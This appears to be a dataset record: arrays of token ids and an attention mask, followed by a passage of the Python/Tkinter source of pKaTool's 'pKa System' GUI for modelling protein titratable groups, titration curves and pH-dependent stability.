1563, 1021, 626, 1006, 1790, 12591, 23519, 687, 624, 339, 347, 636, 1250, 721, 277, 12, 519, 304, 267, 746, 4279, 360, 2817, 12604, 1471, 506, 4550, 2659, 421, 199, 533, 3101, 6845, 2817, 8, 2817, 1563, 304, 272, 408, 13240, 397, 3101, 10082, 15995, 370, 314, 1627, 4784, 909, 1041, 272, 347, 636, 826, 721, 277, 12, 3434, 12, 2505, 304, 267, 291, 14, 2473, 275, 3434, 267, 291, 14, 2060, 275, 2505, 339, 347, 636, 1250, 721, 277, 12, 519, 304, 267, 519, 14, 2139, 459, 11626, 418, 275, 485, 4316, 63, 1178, 63, 495, 8, 277, 14, 2473, 12, 291, 14, 2060, 9, 267, 372, 519, 421, 199, 533, 3101, 4936, 2817, 8, 2856, 6845, 2817, 304, 272, 408, 13240, 397, 3101, 12373, 15995, 370, 282, 1627, 4784, 909, 1041, 272, 347, 636, 1250, 721, 277, 12, 519, 304, 267, 519, 14, 2139, 459, 4936, 13, 11626, 418, 275, 485, 4316, 63, 1178, 63, 495, 8, 277, 14, 2473, 12, 291, 14, 2060, 9, 267, 372, 519, 421, 199, 533, 3101, 18541, 2817, 8, 2817, 1563, 304, 272, 408, 13240, 397, 3101, 3757, 3199, 15995, 370, 314, 1627, 4784, 909, 1041, 272, 347, 636, 826, 721, 277, 12, 3434, 12, 2505, 304, 267, 291, 14, 2473, 275, 3434, 267, 291, 14, 2060, 275, 2505, 267, 291, 14, 2019, 63, 10667, 275, 2125, 267, 291, 14, 10667, 63, 835, 275, 378, 267, 291, 14, 335, 279, 275, 1052, 267, 291, 14, 1712, 275, 488, 339, 347, 1900, 63, 5671, 63, 1291, 8, 277, 12, 1083, 12, 1166, 304, 398, 10482, 275, 291, 14, 335, 279, 459, 7728, 418, 267, 13711, 275, 291, 14, 335, 279, 459, 10667, 418, 267, 1894, 411, 275, 291, 14, 335, 279, 14, 362, 360, 81, 411, 358, 267, 5563, 275, 291, 14, 335, 279, 14, 362, 360, 8833, 358, 267, 15058, 275, 291, 14, 335, 279, 14, 362, 360, 21669, 358, 398, 340, 5563, 365, 488, 26, 288, 485, 8833, 275, 283, 5127, 21, 7, 267, 587, 26, 288, 485, 8833, 275, 5563, 14, 4142, 342, 267, 327, 27593, 24315, 5534, 10017, 4621, 787, 8439, 737, 314, 2746, 2166, 267, 340, 485, 8833, 508, 283, 5127, 21, 7, 503, 485, 8833, 508, 283, 5127, 21, 13, 51, 1608, 356, 288, 347, 6128, 21, 63, 1624, 24, 8, 88, 304, 355, 340, 1228, 8, 88, 12, 620, 304, 490, 671, 275, 671, 14, 2143, 360, 1624, 13, 24, 358, 355, 372, 8337, 14, 1064, 21, 8, 88, 680, 11453, 342, 288, 2631, 63, 1624, 24, 275, 6128, 21, 63, 1624, 24, 267, 916, 485, 8833, 508, 283, 8461, 356, 288, 347, 7793, 63, 1624, 24, 8, 88, 304, 355, 340, 1228, 8, 88, 12, 620, 304, 490, 671, 275, 671, 14, 2143, 360, 1624, 13, 24, 358, 355, 372, 8337, 14, 4835, 17, 8, 88, 680, 11453, 342, 288, 2631, 63, 1624, 24, 275, 7793, 63, 1624, 24, 398, 31368, 275, 2400, 308, 12, 366, 26, 2631, 63, 1624, 24, 3647, 83, 2689, 83, 2, 450, 334, 83, 12, 366, 430, 398, 340, 2631, 63, 1624, 24, 365, 488, 26, 288, 372, 488, 398, 327, 5787, 440, 6366, 5966, 267, 15992, 18367, 275, 488, 267, 299, 63, 6751, 275, 7097, 8, 633, 9, 267, 931, 275, 299, 63, 6751, 14, 515, 267, 340, 299, 63, 6751, 14, 1131, 26, 288, 931, 847, 15539, 435, 299, 63, 6751, 14, 1131, 398, 437, 17, 275, 1543, 83, 2689, 83, 2689, 83, 7, 450, 334, 277, 14, 2473, 12, 10482, 12, 291, 14, 2060, 9, 267, 437, 18, 275, 1543, 83, 2689, 83, 7, 450, 334, 765, 12, 931, 9, 398, 16100, 17, 275, 2631, 63, 1624, 24, 8, 33, 17, 9, 267, 16100, 18, 275, 2631, 63, 1624, 24, 8, 33, 18, 9, 398, 340, 13711, 508, 291, 14, 2019, 63, 10667, 26, 288, 291, 14, 10667, 63, 835, 847, 413, 267, 587, 26, 288, 291, 14, 10667, 63, 835, 275, 413, 267, 12698, 585, 275, 1543, 2036, 88, 7, 450, 291, 14, 10667, 63, 835, 267, 308, 275, 620, 8, 277, 14, 10667, 63, 835, 680, 2143, 360, 1624, 13, 24, 358, 267, 308, 847, 13711, 14, 2143, 360, 1624, 13, 24, 358, 267, 308, 847, 900, 14, 20691, 1252, 2143, 360, 1624, 13, 24, 358, 267, 308, 847, 747, 14, 22776, 8, 24, 9, 398, 286, 10667, 275, 334, 24722, 14, 4835, 17, 8, 83, 680, 11453, 20523, 975, 566, 267, 13711, 2075, 275, 2071, 83, 2689, 83, 2689, 83, 2689, 83, 2689, 83, 2, 450, 334, 10667, 12, 12698, 585, 12, 286, 10667, 12, 1894, 411, 12, 16100, 18, 9, 267, 340, 485, 8833, 508, 283, 5127, 21, 13, 51, 1608, 356, 288, 16100, 17, 275, 2631, 63, 1624, 24, 3508, 83, 2689, 83, 2689, 83, 7, 450, 334, 6294, 17, 12, 13711, 12, 286, 10667, 430, 398, 340, 1894, 411, 365, 488, 26, 288, 3085, 18367, 275, 31368, 8, 6294, 17, 12, 2071, 83 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 6615, 14, 1178, 199, 22935, 94, 199, 199, 2765, 859, 3509, 314, 6299, 8297, 367, 20260, 14, 199, 624, 199, 199, 646, 747, 199, 646, 295, 199, 646, 900, 199, 646, 8337, 199, 646, 2050, 199, 199, 504, 1300, 772, 492, 330, 772, 2143, 199, 199, 504, 1275, 5819, 492, 7097, 12, 620, 199, 504, 1275, 7792, 492, 5536, 63, 7792, 63, 475, 63, 7338, 199, 504, 1275, 1208, 492, 2198, 63, 807, 63, 1291, 199, 199, 793, 275, 2050, 14, 5572, 3460, 354, 3368, 199, 199, 9663, 63, 2711, 63, 3516, 63, 2632, 742, 6012, 36, 275, 283, 3578, 15, 88, 13, 1544, 13, 964, 13, 21886, 7, 199, 9663, 63, 2711, 63, 21389, 63, 14848, 275, 283, 10123, 15, 964, 13, 576, 7, 421, 199, 318, 485, 4316, 63, 1178, 63, 495, 8, 2473, 12, 2505, 304, 272, 408, 3407, 282, 10082, 3590, 1059, 1041, 339, 372, 283, 6845, 283, 435, 330, 772, 2143, 8, 3508, 83, 2689, 83, 7, 450, 334, 2473, 12, 2505, 4992, 2143, 360, 10378, 17, 11103, 1913, 1252, 2708, 360, 10378, 17, 358, 421, 199, 533, 3590, 1563, 8, 785, 304, 272, 408, 1563, 1021, 626, 1006, 1790, 12591, 23519, 687, 624, 339, 347, 636, 1250, 721, 277, 12, 519, 304, 267, 746, 4279, 360, 2817, 12604, 1471, 506, 4550, 2659, 421, 199, 533, 3101, 6845, 2817, 8, 2817, 1563, 304, 272, 408, 13240, 397, 3101, 10082, 15995, 370, 314, 1627, 4784, 909, 1041, 272, 347, 636, 826, 721, 277, 12, 3434, 12, 2505, 304, 267, 291, 14, 2473, 275, 3434, 267, 291, 14, 2060, 275, 2505, 339, 347, 636, 1250, 721, 277, 12, 519, 304, 267, 519, 14, 2139, 459, 11626, 418, 275, 485, 4316, 63, 1178, 63, 495, 8, 277, 14, 2473, 12, 291, 14, 2060, 9, 267, 372, 519, 421, 199, 533, 3101, 4936, 2817, 8, 2856, 6845, 2817, 304, 272, 408, 13240, 397, 3101, 12373, 15995, 370, 282, 1627, 4784, 909, 1041, 272, 347, 636, 1250, 721, 277, 12, 519, 304, 267, 519, 14, 2139, 459, 4936, 13, 11626, 418, 275, 485, 4316, 63, 1178, 63, 495, 8, 277, 14, 2473, 12, 291, 14, 2060, 9, 267, 372, 519, 421, 199, 533, 3101, 18541, 2817, 8, 2817, 1563, 304, 272, 408, 13240, 397, 3101, 3757, 3199, 15995, 370, 314, 1627, 4784, 909, 1041, 272, 347, 636, 826, 721, 277, 12, 3434, 12, 2505, 304, 267, 291, 14, 2473, 275, 3434, 267, 291, 14, 2060, 275, 2505, 267, 291, 14, 2019, 63, 10667, 275, 2125, 267, 291, 14, 10667, 63, 835, 275, 378, 267, 291, 14, 335, 279, 275, 1052, 267, 291, 14, 1712, 275, 488, 339, 347, 1900, 63, 5671, 63, 1291, 8, 277, 12, 1083, 12, 1166, 304, 398, 10482, 275, 291, 14, 335, 279, 459, 7728, 418, 267, 13711, 275, 291, 14, 335, 279, 459, 10667, 418, 267, 1894, 411, 275, 291, 14, 335, 279, 14, 362, 360, 81, 411, 358, 267, 5563, 275, 291, 14, 335, 279, 14, 362, 360, 8833, 358, 267, 15058, 275, 291, 14, 335, 279, 14, 362, 360, 21669, 358, 398, 340, 5563, 365, 488, 26, 288, 485, 8833, 275, 283, 5127, 21, 7, 267, 587, 26, 288, 485, 8833, 275, 5563, 14, 4142, 342, 267, 327, 27593, 24315, 5534, 10017, 4621, 787, 8439, 737, 314, 2746, 2166, 267, 340, 485, 8833, 508, 283, 5127, 21, 7, 503, 485, 8833, 508, 283, 5127, 21, 13, 51, 1608, 356, 288, 347, 6128, 21, 63, 1624, 24, 8, 88, 304, 355, 340, 1228, 8, 88, 12, 620, 304, 490, 671, 275, 671, 14, 2143, 360, 1624, 13, 24, 358, 355, 372, 8337, 14, 1064, 21, 8, 88, 680, 11453, 342, 288, 2631, 63, 1624, 24, 275, 6128, 21, 63, 1624, 24, 267, 916, 485, 8833, 508, 283, 8461, 356, 288, 347, 7793, 63, 1624, 24, 8, 88, 304, 355, 340, 1228, 8, 88, 12, 620, 304, 490, 671, 275, 671, 14, 2143, 360, 1624, 13, 24, 358, 355, 372, 8337, 14, 4835, 17, 8, 88, 680, 11453, 342, 288, 2631, 63, 1624, 24, 275, 7793, 63, 1624, 24, 398, 31368, 275, 2400, 308, 12, 366, 26, 2631, 63, 1624, 24, 3647, 83, 2689, 83, 2, 450, 334, 83, 12, 366, 430, 398, 340, 2631, 63, 1624, 24, 365, 488, 26, 288, 372, 488, 398, 327, 5787, 440, 6366, 5966, 267, 15992, 18367, 275, 488, 267, 299, 63, 6751, 275, 7097, 8, 633, 9, 267, 931, 275, 299, 63, 6751, 14, 515, 267, 340, 299, 63, 6751, 14, 1131, 26, 288, 931, 847, 15539, 435, 299, 63, 6751, 14, 1131, 398, 437, 17, 275, 1543, 83, 2689, 83, 2689, 83, 7, 450, 334, 277, 14, 2473, 12, 10482, 12, 291, 14, 2060, 9, 267, 437, 18, 275, 1543, 83, 2689, 83, 7, 450, 334, 765, 12, 931, 9, 398, 16100, 17, 275, 2631, 63, 1624, 24, 8, 33, 17, 9, 267, 16100, 18, 275, 2631, 63, 1624, 24, 8, 33, 18, 9, 398, 340, 13711, 508, 291, 14, 2019, 63, 10667, 26, 288, 291, 14, 10667, 63, 835, 847, 413, 267, 587, 26, 288, 291, 14, 10667, 63, 835, 275, 413, 267, 12698, 585, 275, 1543, 2036, 88, 7, 450, 291, 14, 10667, 63, 835, 267, 308, 275, 620, 8, 277, 14, 10667, 63, 835, 680, 2143, 360, 1624, 13, 24, 358, 267, 308, 847, 13711, 14, 2143, 360, 1624, 13, 24, 358, 267, 308, 847, 900, 14, 20691, 1252, 2143, 360, 1624, 13, 24, 358, 267, 308, 847, 747, 14, 22776, 8, 24, 9, 398, 286, 10667, 275, 334, 24722, 14, 4835, 17, 8, 83, 680, 11453, 20523, 975, 566, 267, 13711, 2075, 275, 2071, 83, 2689, 83, 2689, 83, 2689, 83, 2689, 83, 2, 450, 334, 10667, 12, 12698, 585, 12, 286, 10667, 12, 1894, 411, 12, 16100, 18, 9, 267, 340, 485, 8833, 508, 283, 5127, 21, 13, 51, 1608, 356, 288, 16100, 17, 275, 2631, 63, 1624, 24, 3508, 83, 2689, 83, 2689, 83, 7, 450, 334, 6294, 17, 12, 13711, 12, 286, 10667, 430, 398, 340, 1894, 411, 365, 488, 26, 288, 3085, 18367, 275, 31368, 8, 6294, 17, 12, 2071, 83, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
dmnfarrell/peat
pKaTool/pKa_system.py
1
55804
#!/usr/bin/env python # -*- coding: iso-8859-15 -*- # # pKaTool - analysis of systems of titratable groups # Copyright (C) 2010 Jens Erik Nielsen # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # Contact information: # Email: Jens.Nielsen_at_gmail.com # Normal mail: # Jens Nielsen # SBBS, Conway Institute # University College Dublin # Dublin 4, Ireland import sys from Tkinter import * import tkFileDialog import pKa_base, pKa_system_help, pKa_calc, pKa_system_micro, pKa_system_file_menu, CCPS_stab_opt import pKa_system_data_manipulation import group_control import ftir_data __pKaSystemVersion__=1.2 # # Geometry helper functions # def get_y_fromstab(val,span): """Get the y coordinate for plotting the stability curve""" zero=10 graphrange=180 if span==0: span=10 return (graphrange-val*(graphrange/span))+zero # # -------- # class pKa_system(Frame,pKa_base.pKa_base,pKa_system_help.system_help, pKa_system_help.pKsensitivity, pKa_system_help.decompose, pKa_system_micro.Micro_states, pKa_system_file_menu.file_menu, pKa_system_file_menu.fit_menu, pKa_system_data_manipulation.data_manipulation, CCPS_stab_opt.Optimisation_Analysis): def __init__(self,numgroups=None,parent_application=None,data=None,protein=None,field_name=None,update=True): # # Set up the main window # # The main window provides choice between the different modes # for now: pKa Calculations, pKa System # self.ID='pKa_system' self.font="Times 12 bold" self.fg_colour='white' self.bg_colour='black' self.colour_order=['#646464','#4444ff','red','green','magenta','yellow','orange','grey','magenta'] self.linewidth=2 self.names={} self.lastdir=None self.parent_application=parent_application self.init_not_done=1 self.ID='pKa_system' self.protein=protein self.field_name=field_name # # Stability window parameters # self.stab_window=None self.U_control=None self.old_stab_status='' self.exp_stab_curve=False # # Set the pKa calculation parameters # self.pHstart=0.00001 self.pHend=20.0 self.maxcrg=1.0 self.mincrg=-1.0 # # pKa method # self.pkamethods={'Boltzmann':pKa_calc.Boltzmann, 'Monte Carlo':pKa_calc.Monte_Carlo, 'Tanford-Roxby':pKa_calc.Tanford_Roxby, 'Monte Carlo (C++)':pKa_calc.Monte_Carlo_CPP, 'Boltzmann (C++)':pKa_calc.Boltzmann_CPP} # # Check if we are called from EnzSim # self.enzsim=False if protein=='__enzsim_application__': self.enzsim=True # # Set data # self.data={'numgroups':numgroups} # # All lines drawn # self.lines={} self.state_lines={} self.stab_lines={} self.to_clear=[] self.stab_test_on=None # # Do the window # self.do_window() if update: self.update_pkasystem_curves() self.window.update_idletasks() # # convert data # if data: if data.has_key('groups'): self.unpack_all_data(data) else: self.convert_titration_data(data) return # # ------ # def do_window(self): # # Main window # if not self.parent_application: Frame.__init__(self) self.window=self.master else: self.window=Toplevel() # # Title # #self.window.geometry('+280+380') self.window.title("pKa System - Play with titratable groups") # # Get the size of the screen # # # Text box til top # label1=Label(self.window, text="Enter number of titratable groups",font=self.font) label1.grid(row=0,column=0, sticky=W) # # Entry field # self.number_of_groups=IntVar() self.numgrps_widget=Entry(self.window,textvariable=self.number_of_groups) # # If we have a number then insert it # if self.data['numgroups']: self.number_of_groups.set(self.data['numgroups']) self.numgrps=self.data['numgroups'] self.window.destroy() else: def destroy(event=None): self.numgrps=int(self.number_of_groups.get()) self.window.destroy() return self.number_of_groups.set(3) self.numgrps_widget.grid(row=0,column=1,sticky=W) self.numgrps_widget.bind('<Return>',destroy) self.window.wait_window(self.window) # # Done # self.getgrps() return # # -------------- # def getgrps(self,event=None): # # Get the number of groups # import string # # Open the window for the titration curves # if not self.parent_application: Frame.__init__(self) self.window=self.master screen_width=self.winfo_screenwidth() screen_height=self.winfo_screenheight() else: self.window=Toplevel() screen_width=self.parent_application.winfo_screenwidth() screen_height=self.parent_application.winfo_screenheight() # self.titwin=self.window self.titwin.title('Titration curves [native]') #self.titwin.geometry('+20+%d' %(95+self.numgrps*43)) # # Draw the window with the titration curves # self.titwidth=1200 self.titheight=450 self.tc=Canvas(self.titwin,bd=5,bg='white',width=self.titwidth, height=self.titheight, scrollregion=(0,0,self.titwidth,self.titheight)) self.tc.xview("moveto", 0) self.tc.yview("moveto", 0) self.tc.grid(row=0,column=0) # # Axes # self.draw_ordinates(self.tc) # # Open window with the controls # self.startrow=3 self.groups={} self.win=Toplevel() # # Create the main pulldown menu # self.menu=Menu(self.win) # # File menu # self.file_menu=Menu(self.menu,tearoff=0) self.file_menu.add_command(label='Load system',command=self.load_system) self.file_menu.add_command(label='Save system',command=self.save_system) if self.parent_application: if getattr(self.parent_application,'ID',None): if self.parent_application.ID=='EAT': self.file_menu.add_command(label='Save system in EAT & Exit',command=self.send_system_to_EAT) elif self.parent_application.ID=='Ekin': self.file_menu.add_command(label='Save system in EAT',command=self.send_system_to_EAT) self.file_menu.add_command(label='Load titration curves',command=self.load_curves) self.file_menu.add_command(label='Save titration curves',command=self.save_curves) self.file_menu.add_command(label='Load titration_DB data',command=self.load_titdb) self.file_menu.add_command(label='Load pH activity profile',command=self.load_pH_activity_profile) self.file_menu.add_command(label='Load pH stability profile',command=self.load_pH_stability_profile) self.file_menu.add_command(label='Load FTIR data',command=self.load_FTIR_data) self.file_menu.add_command(label='Print population table',command=self.print_table) self.file_menu.add_command(label='Add group',command=self.add_group) self.file_menu.add_command(label='Remove exp. titration curve',command=self.remove_exp_curve) self.file_menu.add_command(label='Exit',command=self.quit_application) self.menu.add_cascade(label='File',menu=self.file_menu) # # Command menu # self.command_menu=Menu(self.menu,tearoff=0) self.command_menu.add_command(label='Decompose system',command=self.decompose_system) self.command_menu.add_command(label='Sensitivity analysis',command=self.sensitivity_test) self.command_menu.add_command(label='Change dielectric constant',command=self.change_dielectric) self.command_menu.add_command(label='Activate updating',command=self.activate_callbacks) self.command_menu.add_command(label='Deactivate updating',command=self.deactivate_callbacks) self.command_menu.add_separator() self.command_menu.add_command(label='Copy group to EAT_DB Ekin',command=self.copy_to_Ekin) self.menu.add_cascade(label='Command',menu=self.command_menu) # # Fitting menu # self.fit_menu=Menu(self.menu,tearoff=0) self.fit_menu.add_command(label='Fit system to loaded curves',command=self.fit_system_to_curves) self.fit_menu.add_command(label='Fit to pH-activity profile',command=self.fit_to_ph_activity_profile) self.fit_menu.add_command(label='Fit to loaded curves and pH-activity profile',command=self.fit_to_curves_and_ph_activity_profile) self.fit_menu.add_command(label='Estimate experimental uncertainty',command=self.estimate_experimental_uncertainty) self.fit_menu.add_separator() self.fit_menu.add_command(label='Fit to FTIR data',command=self.fit_ftir) self.fit_menu.add_command(label='Fit to FTIR data and pH-activity profile',command=self.fit_to_ftir_and_ph_activity_profile) self.fit_menu.add_separator() self.fit_menu.add_command(label='Combinatorial scan',command=self.combinatorial_scan) self.fit_menu.add_command(label='Show close parameter sets',command=self.show_close) self.fit_menu.add_command(label='Test uniqueness',command=self.test_uniqueness) self.fit_menu.add_command(label='Uniqueness scan',command=self.uniqueness_scan) self.fit_menu.add_separator() self.fit_menu.add_command(label='Evaluate fit',command=self.evaluate_fit) self.geom_var=StringVar() self.fit_menu.add_command(label="Do geometry optimisation",command=self.start_geom) self.fit_menu.add_command(label='Identify number of groups in system',command=self.identify_no_groups) self.menu.add_cascade(label='NMR',menu=self.fit_menu) # # System analysis and optimisation # self.optana_menu=Menu(self.menu,tearoff=0) self.optana_menu.add_command(label='CCPS population/Stability',command=self.stab_and_CCPS_pop) self.menu.add_cascade(label='Optimise and Analyse',menu=self.optana_menu) # # View menu # self.view_menu=Menu(self.menu,tearoff=0) # Show microscopic states self.micro_var=IntVar() self.micro_var.set(0) self.view_menu.add_checkbutton(label='Microscopic titration', command=self.update_pkasystem_curves, variable=self.micro_var,onvalue=1,offvalue=0) # Show loaded titration curves self.display_loaded_curves=IntVar() self.display_loaded_curves.set(0) self.view_menu.add_checkbutton(label='Loaded titration curves', command=self.update_pkasystem_curves, variable=self.display_loaded_curves,onvalue=1,offvalue=0) # Show ftir window self.show_ftir=IntVar() self.show_ftir.set(0) self.view_menu.add_checkbutton(label='Show FTIR window', command=self.update_pkasystem_curves, variable=self.show_ftir,onvalue=1,offvalue=0) # # Window for manipulating kcat of microstates # self.kcat_window_visible=IntVar() self.kcat_window_visible.set(0) self.view_menu.add_checkbutton(label='kcat of microstates', command=self.toggle_kcat_window,variable=self.kcat_window_visible,onvalue=1,offvalue=0) self.menu.add_cascade(label='View',menu=self.view_menu) # # Help menu # self.help_menu=Menu(self.menu,tearoff=0) self.help_menu.add_command(label='About pKaSystem',command=self.about) self.menu.add_cascade(label='Help',menu=self.help_menu) # # Configure the menu # self.win.config(menu=self.menu) # self.win.title('Group controls') # # Place window close to center # self.win.geometry('+%d+%d' %(screen_width/2-min(600,screen_width/4),screen_height/2-min(500,screen_height/3))) # # Buttons for each group # int_ene=1 for id_num in range(self.numgrps): #colour=self.colour_order[id_num%len(self.colour_order)] int_ene=1 self.groups[id_num]=group_control.group_control(self, self.startrow+id_num, id_num, self.numgrps, int_ene, self.colour_order) # # Button for controlling stability window # self.stability_var=StringVar() self.stability_var.set('off') self.stab_button=Checkbutton(self.win,text='Stability curve: ', variable=self.stability_var,onvalue='on', offvalue='off', command=self.stability_on_off) self.stab_button.deselect() self.stab_button.grid(row=0,column=0,columnspan=2) # # Exit button # if self.enzsim: self.exit_bt=Button(self.win,text='Data->EnzSim',command=self.quit_application) else: self.exit_bt=Button(self.win,text='Quit',command=self.quit_application) self.exit_bt.grid(row=0,column=2,sticky='wens') # # Snapshot button # self.snapshot_btn=Button(self.win,text='Snapshot',command=self.snapshot) self.snapshot_btn.grid(row=0,column=3,sticky='wens') # # Window capture button # self.print_btn=Button(self.win,text='Print2File',command=self.print2file) self.print_btn.grid(row=0,column=4,sticky='wens') # # Clear button # self.clr_btn=Button(self.win,text='Clear all',command=self.clear) self.clr_btn.grid(row=0,column=5,sticky='wens') # # pHstep slider # self.pHstep=DoubleVar() self.pHstep_sl=Scale(self.win,from_=0.01,to=2.0,resolution=0.01, orient='horizontal',relief='ridge', command=self.update_pkasystem_curves,variable=self.pHstep, label='pHstep') self.pHstep_sl.grid(row=0,column=6,sticky='wens') self.pHstep.set(0.5) # # pKa calculation method selector # self.pkamethod_sel=StringVar() self.pkamethod_sel.set('Boltzmann') self.pkamethod_button=Menubutton(self.win,textvariable=self.pkamethod_sel,relief=RAISED) self.pkamethod_menu=Menu(self.pkamethod_button,tearoff=0) self.pkamethod_button['menu']=self.pkamethod_menu # # Methods # for method in self.pkamethods.keys(): self.pkamethod_menu.add_radiobutton(label=method, variable=self.pkamethod_sel, value=method, indicatoron=1, command=self.update_pkasystem_curves) self.pkamethod_button.grid(row=0,column=7,sticky='news') # # Monte Carlo steps # self.MCsteps=IntVar() self.mcsteps_scale=Scale(self.win,from_=0,to=2500,resolution=100, orient='horizontal',relief='ridge', command=self.update_pkasystem_curves, variable=self.MCsteps, state=DISABLED, label='Monte Carlo steps') self.MCsteps.set(self.numgrps*100) self.mcsteps_scale.grid(row=0,column=8,sticky='news') # # Button for updating the titration curves # stab_test=Button(self.win,text='Update curves',command=self.update_pkasystem_curves) stab_test.grid(row=0,column=9,sticky='wens') # # Reposition the window with the titration curves according to the # size of the control window # width,height,xorg,yorg=self.get_geometry(self.win) self.titwin.geometry('+%d+%d' %(xorg-5,yorg+height+5)) # # Draw the first curves # self.titwin.update() self.win.update() self.init_not_done=None self.titwin.update() self.win.update() self.activate_callbacks() #if self.master.update: # self.update_pkasystem_curves() # # Done # return # # ----- # def about(self): """Print the About section""" import tkMessageBox tkMessageBox.showinfo("pKaTool / pKaSystem", 'pKaTool version %s\nAuthors: Jens Erik Nielsen & Chresten S¯ndergaard\n\nCopyright (c) Jens Erik Nielsen\nUniversity College Dublin 2003-2007\nAll rigths reserved\nhttp://enzyme.ucd.ie/Science/pKa\n\nPlease remember to cite:\nAnalysing the pH-dependent properties of proteins using pKa calculations\nNielsen JE\nJ Mol Graph Model 2007 Jan;25(5):691-9\n\nIf using the NMR fitting routines please cite:\n\nDetermination of electrostatic interaction energies and protonation state populations in enzyme active sites\nS¯ndergaard CR, McIntosh LP, Pollastri G, Nielsen JE\nJ. Mol. Biol. (in press).' %__pKaSystemVersion__,parent=self.master) return # # -------------------- # def get_geometry(self,widget): """Get the geometry of a widget Return width,height,xorg,yorg""" widget.update_idletasks() txt=widget.winfo_geometry() width=int(txt.split('x')[0]) rest=txt.split('x')[1] height=int(rest.split('+')[0]) xorg=int(rest.split('+')[1]) yorg=int(rest.split('+')[2]) return width,height,xorg,yorg # # ------- # def quit_application(self): """Quit application""" self.win.destroy() self.titwin.destroy() return # # -------------------- # def snapshot(self): # # Preserve the current lines (for making figures) # x=0 for line in self.lines.keys(): x=x+1 if x==1: self.tc.delete(line) else: self.to_clear.append(line) del self.lines[line] if x==2: x=0 return # # -------------------- # def print2file(self): # # Print Canvas to file # import sys, os if not self.lastdir: self.lastdir=os.getcwd() filename=tkFileDialog.asksaveasfilename(defaultextension='.ps', initialdir=self.lastdir, filetypes=[("Postscript files","*.ps"),("All files","*.*")]) if filename: self.write_psfile(filename) else: return return # # -------------------- # def write_psfile(self,filename): """ # Dump the Canvas to a postscript file """ import os self.lastdir=os.path.split(filename)[0] if filename[-3:]!='.ps': filename=filename+'.ps' self.tc.postscript(colormode='color',file=filename) return # # -------------------- # def clear(self,junk=None): # # Clear all lines # for line in self.to_clear: self.tc.delete(line) return # # -------------------- # def stability_on_off(self): """Open a window for drawing the stability curve""" # # Should we open the stability window? # new=self.stability_var.get() if new=='on' and self.old_stab_status!='on': # # Yes, open it # self.stab_test_on=1 self.old_stab_status='on' self.stab_window=Toplevel() # self.stabwidth=1000 self.stabheight=300 self.stab_window.geometry('%dx%d+10+20' %(self.stabwidth,self.stabheight)) self.stab_window.title('pH dependence of protein stability') self.stab_tc=Canvas(self.stab_window,bd=5,bg='white',width=self.titwidth,height=self.titheight,scrollregion=(0,0,self.titwidth,self.titheight)) self.stab_tc.xview("moveto", 0) self.stab_tc.yview("moveto", 0) self.stab_tc.grid(row=1,column=0) # # Plotting button # def print_curve(event=None): Button(self.stab_window,command=print_curve).grid(row=0,column=0) # pH axis self.stab_startx=80 self.stab_endx=910 self.stab_starty=160 self.stab_endy=10 self.pH_axis(self.stab_tc,self.stab_startx,self.stab_starty, self.stab_endx,self.stab_endy) # # Controls for unfolded pKa values # self.U_control=Toplevel() self.U_control.title('Controls for Unfolded form') self.U_control.geometry('+10+10') self.unfolded_groups={} for id_num in range(self.numgrps): int_ene=1 #colour=self.colour_order[id_num%len(self.colour_order)] self.unfolded_groups[id_num]=group_control.group_control(self, self.startrow+id_num,id_num, self.numgrps,int_ene,self.colour_order,window=self.U_control) # # If we are displaying real groups then set the intrinsic pKa to the model pKa value # if self.parent_application: intpKa_folded=self.groups[id_num].modelpK else: intpKa_folded=self.groups[id_num].intpka.get() # self.unfolded_groups[id_num].intpka.set(intpKa_folded) # # # row=self.startrow+self.numgrps+1 self.show_grp_contribs=IntVar() self.show_grp_contribs.set(0) grp_contribs=Checkbutton(self.U_control,text='Show residue contributions', onvalue=1,offvalue=0,variable=self.show_grp_contribs,command=self.update_pkasystem_curves) grp_contribs.grid(row=row,column=0) # # Which contribution should we draw # self.contrib_type=IntVar() self.contrib_type.set(1) Radiobutton(self.U_control,text='contributions from pKa shifts',variable=self.contrib_type,value=1,command=self.update_pkasystem_curves).grid(row=row,column=1) #Radiobutton(self.U_control,text='charge-charge 